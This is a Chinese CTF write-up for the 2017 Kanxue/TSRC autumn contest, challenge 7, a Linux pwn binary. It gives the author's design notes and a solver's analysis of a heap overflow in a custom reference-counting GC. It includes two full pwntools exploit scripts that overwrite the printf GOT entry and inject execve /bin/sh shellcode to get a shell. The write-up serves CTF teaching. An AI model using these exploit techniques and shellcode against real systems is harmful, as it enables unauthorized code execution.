看雪.騰訊TSRC 2017 CTF 秋季賽 第七題點評及解析思路
看雪CTF 官網
導語
經過兩天奮戰,第七題結束。
第七題出題者Ox9A82以14人攻破的成績,排位防守方第三名。
攻擊方hotwinter依然排名第一位,iweizime上升一位,現排名第二名。
此題過後,前十名的排名依然在不斷變化中......現前十名的排名如下:
選手們正在帶給我們越來越多的驚喜~
距離比賽結束還剩三題,同志們,加油吧!
接下來讓我們一起來看看第七題的點評、出題思路和解析。
看雪評委netwind點評
作者設計新穎,引入了一個記憶體管理結構GC來提供自動的記憶體管理,但實際環境中GC也常常漏洞頻發。本題中cheat函式功能存在堆溢位漏洞,透過堆溢位控制GC的指標結構,之後透過觸發回收可以造成任意地址寫的操作,透過任意地址寫控制函式的got表的內容就可以實現漏洞利用。
第七題作者簡介
Ox9A82,曾在騰訊實習的安全研究員,關注瀏覽器和Windows系統的安全漏洞,目前從事Edge瀏覽器Chakra引擎的安全研究。同時也是一名屬於Syclover和Nu1L團隊的CTFer和CTF-Wiki的編輯者,對CTF中的各類Pwn技巧比較有興趣。
最早結識看雪平臺出於對逆向和核心Rootkit技術的熱愛,在看雪也學習到了很多,希望看雪接下來可以越辦越好。
第七題設計思路
這道題出題時的想法是把實際漏洞環境中比較常見的GC結合進CTF中的Linux Pwn題目中,但是比較遺憾的是水平有限沒能夠在出題時間內完成整個GC的漏洞設計,所以只好做了簡化並構造了漏洞,因此這個利用的難度其實比較簡單。
首先,解釋一下什麼是GC,GC一般稱作垃圾回收,設計GC的目的是為了給程式設計師提供自動的記憶體管理,這樣程式設計師就不需要手動的去釋放記憶體了。因為程式設計師手動管理記憶體往往會產生記憶體洩漏等問題,所以現在一般的指令碼語言或者虛擬機器往往都存在有GC,比如java虛擬機器、javascript引擎等等。
但是,在實際環境中GC也是漏洞的高發地帶,比如在IE瀏覽器mshtml中各種DOM物件都是基於引用計數進行記憶體管理的,複雜的引用計數關係導致出現了大量的Use-After-Free漏洞。
在這道題目中,涉及到了一個基礎的引用計數法(Reference Counting Collector)GC,當程式分配記憶體之後會自動維護對於每個塊的引用技術,當檢測到某個塊的計數為0時就會把它回收以便進行下一次使用。
但是在進行記憶體回收時,這個塊中可能會存在對其它塊的引用,因此釋放此塊時需要對塊中所有的指標進行判斷,如果判定是由GC維護的塊就需要對指標指向的塊也做引用計數減一的操作。
這道題目中cheat功能存在一個堆溢位漏洞,透過堆溢位可以控制到GC的指標結構,之後透過觸發回收可以造成一個任意地址寫固定值的操作,透過任意地址寫控制函式的got表內容就可以實現getshell。
from pwn import *
import time
from ctypes import *
import os, sys
def uint32(x):
return c_uint32(x).value
def log(str):
log.info(str)
def info(string):
return log.info(string)
def js(str):
return io.recvuntil(str)
def jsn(num):
if num:
return io.recvn(num+1)
else:
return io.recvn(num)
def fs(str):
io.sendline(str)
def fsn(str):
io.send(str)
def stop():
while 1:
time.sleep(1)
def shell():
io.interactive()
def mark(name,vaule):
string='\n=====>'+str(name)+' :'+str(vaule)+'\n'
print string
def dbg(string):
raw_input(string)
def shellcode():
return asm(shellcraft.amd64.linux.sh())
###setting
local=1
debug=0
log=1
if local:
io=process('./pwn')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
io=remote('127.0.0.1',10086)
libc = ELF('./libc')
if log:
context(log_level='debug')
if debug:
gdb.attach(io)
#user code =============================
def signup():
js('2.Signup')
fs('2')
js('input your username')
fs('1')
js('input your password')
fs('1')
js('input your character')
fs('1')
def login():
js('2.Signup')
fs('1')
js('Input your username:')
fs('1')
js('Input your password:')
fs('1')
def goto():
js('0.exit')
fs('3')
js('6.Primorsk')
fs('1')
def explore():
js('0.exit')
fs('4')
try:
js('Do you want to pick up it?')
except Exception:
js('nothing found')
return False
fs('y')
return True
def view_package():
js('0.exit')
fs('2')
def del_item(num):
js('Your Choice:')
fs(str(num))
js('2.return')
fs('1')
js('2.return')
fs('2')
js('Your Choice:')
fs('8')
def cheat():
js('0.exit')
fs('5')
js('name')
fs('1')
js('content')
fs('123')
def overflow(str):
js('0.exit')
fs('5')
js('content')
fs(str)
def get_shell():
js('0.exit')
fs('y')
fs('1')
js('Input your username:')
fs('1')
js('Input your password:')
fs('1')
shell()
if __name__=='__main__' :
signup()
login()
goto()
cheat()
if False==explore():
mark('try again')
if False==explore():
mark('try again')
payload='a'*32+p64(0x1)+p64(0x18)+p64(0x0605058)+p64(0x0)+p64(0x1)
overflow(payload)
view_package()
del_item(1)
payload2=7*8*2*'a'+"\xeb\x10\x48\x31\xc0\x5f\x48\x31\xf6\x48\x31\xd2\x48\x83\xc0\x3b\x0f\x05\xe8\xeb\xff\xff\xff\x2f\x62\x69\x6e\x2f\x2f\x73\x68"
overflow(payload2)
get_shell()
下面選取攻擊者 iweizime 的破解分析
第七題由於是作者自己實現的記憶體分配機制,所以描述起來比較麻煩,貼了很多圖。其實沒有那麼複雜。
檢查和測試
拿到程式後,還是按照流程先用pwntools檢查一下,結果如下。
$pwn checksec pwn
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
可以看到程式是64位的,可以改got表,有棧保護,有NX,沒有PIE。雖然開了NX保護,但是並沒有什麼用,還是可以用shellcode,後面會說到。
然後先跑一下程式,瞭解一下基本流程。進過幾次測試之後,很幸運的發現一個使程式崩潰的漏洞,雖然不知道漏洞詳情,但能崩潰就有可能導致程式碼執行。
逆向
pwn題的逆向一般會簡單很多,因為裡面會有很多字串,而且考點也不是逆向。只挑和漏洞有關的幾個函式說一下。
首先main很簡單。
在函式init_game裡面,用函式mmap_mem分配了一塊記憶體,將這塊記憶體的首尾地址儲存在了兩個全域性變數mem_start, mem_end中,然後又儲存了一個top_chunk指標,用於作者自己實現的mymalloc函式分配記憶體。
在往下看,到mmap_mem函式里面,就發先一些問題了,函式mmap分配的記憶體是可讀、可寫、可執行的。這也就是NX保護沒有用,可以使用shellcode的原因。
在註冊、登陸之後,主要迴圈如下:
其中的cheat函式存在問題,如果是首次cheat,會分配一塊大小為48位元組的記憶體,前16位元組作為name,後32位元組作為content。然而再次cheat的時候,讀入content的最大長度為300,這顯然是個漏洞。
現在來看一下為什麼登陸兩次會發生崩潰。
在signup的時候,程式會分配一塊48位元組大小的記憶體,並呼叫set_buf函式來使全域性變數userinfo指向這塊記憶體。當再次signup的時候,程式又分配一塊新記憶體,然後將全域性變數userinfo指向新的記憶體,並對原來的那塊記憶體進行一次應該是類似於free但是很奇怪的操作。
下面來看一下maybe_free和與之相關的幾個函式。
首先是set_buf函式,它呼叫了maybe_free函式。
然後是maybe_free函式本身。
再然後是find_valid_addr_in_chunk函式。
再然後是valid_address函式。
最後是add_to_array函式。
用圖解釋一下add_to_array做了什麼
addr ---> +-+-+-+-+-+ <--+ +-----------> +-+-+-+-+-+ <--- free_array
| | +---+------------ | |
+-+-+-+-+-+ | +-+-+-+-+-+
| | | | |
+-+-+-+-+-+ | +-+-+-+-+-+
| | -------+ | |
+-+-+-+-+-+ +-+-+-+-+-+
| | | |
+-+-+-+-+-+ +-+-+-+-+-+
| | | |
+-+-+-+-+-+ +-+-+-+-+-+
| | | |
+-+-+-+-+-+ +-+-+-+-+-+
弄清楚這幾個函式之後,就可以搞清楚崩潰的問題了。
maybe_free函式呼叫find_valid_addr_in_chunk函式在要釋放的記憶體中找出它認為是指標(也就是找它認為合法的地址)的欄位,然後將這個指標指向的chunk地址儲存到一個全域性變數free_array指向的陣列裡,這個陣列也是透過myalloc函式分配的,然後將陣列的當前地址儲存進上述指標指向的位置。一開始輸入的使用者名稱weizi變成64為整數為0x697A696577,正好是程式認為的合法地址,但是這個地址又不可寫,所以造成了崩潰。可以利用這個漏洞來寫got表。
資料結構
在寫exploit之前,還需要了解一下資料結構
struct chunk_header_stru {
int64_t inuse;
int64_t size;
}
struct userinfo_stru {
int64_t unused;
char username[16];
char password[16];
characterinfo_stru *character;
};
struct characterinfo_stru {
char name[16];
int64_t health;
int64_t stamina;
int64_t available_weight;
int64_t location;
item_stru *items;
};
struct item_stru {
int64_t type;
int64_t weight;
int64_t num;
item_stru *next;
int64_t bullet;
int64_t power;
};
Exploit
利用的思路是首先用printf的got表項地址作為使用者名稱signup,然後login並cheat一次。退出後再signup一次,將printf的got表項改為free_array指向的陣列的地址。最後用cheat把shellcode寫入陣列的位置,並觸發對printf的呼叫。
第一次signup,login,cheat之後,記憶體佈局如下:
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| old_usrnf | old_chrctrnf | cheat |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
再signup,login之後,記憶體佈局如下
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| old_usrnf | old_chrctrnf | cheat | new_usrnf | array | ......
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
^
|
printf
接下來,只要再一次用cheat來把shellcode寫入array的位置,並觸發printf就可以了。我選取的是函式show_my_status來呼叫printf,還有一點需要注意的是在show_location函式里面用到了userinfo->characterinfo->location,如果location不合法會退出,所以在覆蓋new_usrnf的時候要稍微注意一下。
只需要signup,login,cheat,show_my_status四個操作就可以拿到shell。
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *
# Set up pwntools for the correct architecture
context.update(arch='amd64')
context.log_level = 'info'
exe = './pwn'
# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
continue
'''.format(**locals())
def start(argv=[], *a, **kw):
if args.REMOTE:
return remote('123.206.22.95', 8888)
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe] + argv, *a, **kw)
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
io = start()
def signup(username, password, character_name):
io.recvuntil('2.Signup')
io.recvuntil('==============================')
io.sendline('2')
io.recvuntil('input your username')
io.sendline(username)
io.recvuntil('input your password')
io.sendline(password)
io.recvuntil("input your character's name")
io.sendline(character_name)
def login(username, password):
io.recvuntil('1.Login')
io.recvuntil('==============================')
io.sendline('1')
io.recvuntil('Input your username:')
io.sendline(username)
io.recvuntil('Input your password:')
io.sendline(password)
def cheat(name, content, isFirstTime=True):
if isFirstTime:
io.recvuntil('0.exit')
io.sendline('5')
io.recvuntil('name:')
io.sendline(name)
io.recvuntil('content:')
io.sendline(content)
else:
io.recvuntil('0.exit')
io.sendline('5')
io.recvuntil('content:')
io.sendline(content)
def goto(location):
io.recvuntil('0.exit')
io.sendline('3')
io.recvuntil('6.Primorsk')
io.sendline(str(location))
def explore(pickup):
io.recvuntil('0.exit')
io.sendline('4')
io.recvuntil('Do you want to pick up it?')
if pickup:
io.sendline('y')
else:
io.sendline('n')
l = io.recvline()
if l == 'Ok..\n':
return True
else:
return False
def view_and_remove(choice):
io.recvuntil('0.exit')
io.sendline('2')
io.recvuntil('Your Choice:')
io.sendline(str(choice))
io.recvline('2.return')
io.sendline('1')
io.recvline('2.return')
io.sendline('2')
io.recvuntil('Your Choice:')
io.sendline('-1')
def logout():
io.recvuntil('0.exit')
io.sendline('0')
def show_status():
io.recvuntil('0.exit')
io.sendline('1')
printf_got = 0x605038
signup(p64(printf_got), '12345678', 'root')
login(p64(printf_got), '12345678')
cheat('weizi', 'weizi', True)
logout()
signup(p64(printf_got), '012345678', 'root')
login(p64(printf_got), '012345678')
payload = 'A' * 32
payload += p64(1)
payload += p64(0x40)
payload += p64(0)
payload += p64(printf_got)
payload += p64(0)
payload += '12345678'
payload += p64(0)
payload += p64(0x6050B8 - 40) # 偽造的characterinfo *
payload += p64(1)
payload += p64(0x20)
shellcode = "\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
payload += shellcode
log.info("len(payload) = {}".format(len(payload)))
cheat(None, payload, False)
show_status()
io.interactive()
最後得到的flag為flag{Cr4k4ndH4ckF0rFunG00dLuck2o17}。
一點總結
做題首先要細心,像cheat函式中的漏洞很明顯,不要漏掉。
要關注輸入,有輸入的地方才最有可能出漏洞。在這題中,能控制的輸入最多的就是cheat,其次就是signup。剩下的基本上只能輸入1, 2, 3 ...或者yYnN等。
溫馨提示
每道題結束過後都會看到很多盆友的精彩解題分析過程,因為公眾號內容的限制,每次題目過後我們將選出一篇與大家分享。解題方式多種多樣,各位參賽選手的腦洞也種類繁多,想要看到更多解題分析的小夥伴們可以前往看雪論壇【CrackMe】版塊檢視哦!
相關文章
- 看雪.騰訊TSRC 2017 CTF 秋季賽 第二題點評及解析思路2017-10-28
- 看雪.騰訊TSRC 2017 CTF 秋季賽 第三題點評及解析思路2017-10-30
- 看雪.騰訊TSRC 2017 CTF 秋季賽 第八題點評及解析思路2017-11-09
- 看雪.騰訊TSRC 2017 CTF 秋季賽 第五題點評及解析思路2017-11-03
- 看雪.騰訊TSRC 2017 CTF 秋季賽 第四題點評及解析思路2017-11-02
- 看雪.騰訊TSRC 2017 CTF 秋季賽 第六題點評及解析思路2017-11-06
- 看雪.騰訊TSRC 2017 CTF 秋季賽 第九題點評及解析思路2017-11-13
- 看雪.WiFi萬能鑰匙 CTF 2017第七題 點評及解題思路2017-06-22WiFi
- 看雪·眾安 2021 KCTF 秋季賽 | 第七題設計思路及解析2021-12-03
- 看雪CTF.TSRC 2018 團隊賽 第七題 『魔法森林』 解題思路2018-12-23
- 看雪.WiFi萬能鑰匙 CTF 2017第十題 點評及解題思路2017-06-28WiFi
- 看雪.WiFi萬能鑰匙 CTF 2017第五題 點評及解題思路2017-06-28WiFi
- 看雪.WiFi萬能鑰匙 CTF 2017第四題 點評及解題思路2017-06-29WiFi
- 看雪.WiFi萬能鑰匙 CTF 2017第三題 點評及解題思路2017-06-29WiFi
- 看雪.WiFi萬能鑰匙 CTF 2017第八題 點評及解題思路2017-06-22WiFi
- 看雪.WiFi萬能鑰匙 CTF 2017第十三題 點評及解題思路2017-06-28WiFi
- 看雪.WiFi萬能鑰匙 CTF 2017第十一題 點評及解題思路2017-06-28WiFi
- 看雪.WiFi萬能鑰匙 CTF 2017第十四題 點評及解題思路2017-06-30WiFi
- 看雪.WiFi萬能鑰匙 CTF 2017第十五題 點評及解題思路2017-08-10WiFi
- 看雪.WiFi萬能鑰匙 CTF 2017第十二 點評及解題思路2017-06-28WiFi
- 看雪CTF.TSRC 2018 團隊賽 第九題『諜戰』 解題思路2018-12-19
- 看雪·眾安 2021 KCTF 秋季賽 | 第十題設計思路及解析2021-12-16
- 看雪·眾安 2021 KCTF 秋季賽 | 第九題設計思路及解析2021-12-09
- 看雪·眾安 2021 KCTF 秋季賽 | 第五題設計思路及解析2021-11-29
- 看雪·眾安 2021 KCTF 秋季賽 | 第三題設計思路及解析2021-11-22
- 看雪·眾安 2021 KCTF 秋季賽 | 第六題設計思路及解析2021-12-01
- 看雪·眾安 2021 KCTF 秋季賽 | 第四題設計思路及解析2021-11-25
- 看雪CTF.TSRC 2018 團隊賽 第一題 『初世紀』 解題思路2018-12-23
- 看雪CTF.TSRC 2018 團隊賽 第二題 『半加器』 解題思路2018-12-23
- 看雪CTF.TSRC 2018 團隊賽 第五題 『交響曲』 解題思路2018-12-23
- 看雪CTF.TSRC 2018 團隊賽 第六題 『追凶者也』 解題思路2018-12-23
- 看雪CTF.TSRC 2018 團隊賽 第八題 『二向箔』 解題思路2018-12-23
- 看雪·眾安 2021 KCTF 秋季賽 | 第十一題設計思路及解析2021-12-15
- 看雪·深信服 2021 KCTF 春季賽 | 第七題設計思路及解析2021-05-25
- 看雪CTF.TSRC 2018 團隊賽 第十題『俠義雙雄』 解題思路2018-12-21
- 看雪CTF.TSRC 2018 團隊賽 第三題 『七十二疑冢』 解題思路2018-12-23
- 看雪CTF.TSRC 2018 團隊賽 第四題 『盜夢空間』 解題思路2018-12-23
- 看雪CTF.TSRC 2018 團隊賽 第十一題『伊甸園』 解題思路2018-12-23